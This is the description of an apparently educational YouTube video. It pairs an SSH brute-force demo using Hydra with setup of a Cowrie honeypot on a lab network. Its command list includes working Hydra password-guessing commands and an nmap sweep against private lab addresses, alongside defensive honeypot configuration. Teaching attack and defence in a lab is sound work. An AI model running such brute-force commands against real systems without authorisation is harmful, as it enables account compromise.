#501: Brute Force SSH & Build a Honeypot Now (Hydra and Cowrie Demo)

Big thank you to Cisco for sponsoring this video and sponsoring my trip to Cisco Live San Diego. This video features David Bombal and Kyle Winters demonstrating practicalcybersecurity techniques. Kyle walks through how to use Hydra to brute force SSH passwords, explaining the process of leveraging wordlists and optimizing the attack. Following the offensive demonstration, Kyle transitions into defensive measures, showing viewers how to quickly and easily set up an SSH honeypot using Cowrie. The honeypot serves as a decoy to attract and monitor malicious actors attempting to access a network. The demonstration includes setting up the honeypot on an Ubuntu host, configuring IP tables for port redirection, and monitoring logs for incoming connection attempts. The video highlights the importance of understanding both attack methods and defensive strategies in cybersecurity. Kyle also mentions free ethical hacking training resources available through Cisco Networking Academy (netacad.com) and future tutorials on Cisco U (u.cisco.com).// COMMANDS //Devices:client 192.168.1.10server 192.168.1.11ubuntu-honeypot 192.168.1.21Nmap scan:nmap -sn 192.168.1.0/24Verify Hydra installed:hydra -hShow wordlists:ls -al /usr/share/wordlists/Crack with known username:hydra -l admin -P /usr/share/wordlists/top-passwords-shortlist.txt -t 4 -f ssh://192.168.1.11Crack with unknown username:hydra -L /usr/share/wordlists/top-usernames-shortlist.txt -P /usr/share/wordlists/top-passwords-shortlist.txt -t 4 -f ssh://192.168.1.11Create dir for Cowrie:mkdir cowriecd cowrie/Clone cowrie:git clone https://github.com/cowrie/cowrie .Launch the python virtual environment:python3 -m venv cowrie-envsource cowrie-env/bin/activateInstall python requirements:pip install --upgrade pippip install -r requirements.txtCopy and edit the config:cp etc/cowrie.cfg.dist etc/cowrie.cfgvi etc/cowrie.cfgSetup port forwarding for SSH to Cowrie:sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222sudo iptables-saveStart Cowrie:bin/cowrie startCheck Cowrie status:bin/cowrie statusView logs:tail -f var/log/cowrie/cowrie.log// Kyle Winter’s SOCIALS //Socials: / kyle-m-winters Cisco Blogs: https://blogs.cisco.com/author/kylewi...// Website REFERENCE //https://www.netacad.com/courses/ethic...https://u.cisco.com/// David's SOCIAL //Discord: discord.com/invite/usKSyzbTwitter: www.twitter.com/davidbombalInstagram: www.instagram.com/davidbombalLinkedIn: www.linkedin.com/in/davidbombalFacebook: www.facebook.com/davidbombal.coTikTok: tiktok.com/@davidbombalYouTube: / @davidbombalSpotify: open.spotify.com/show/3f6k6gE...SoundCloud: / davidbombalApple Podcast: podcasts.apple.com/us/podcast...// MY STUFF // https://www.amazon.com/shop/davidbombal // SPONSORS // Interested in sponsoring my videos? Reach out to my team here: [email protected] note that links listed may be affiliate links and provide me with a small percentage/kickback should you use them to purchase any of the items listed or recommended. Thank you for supporting me and this channel! Disclaimer: This video is for educational purposes only.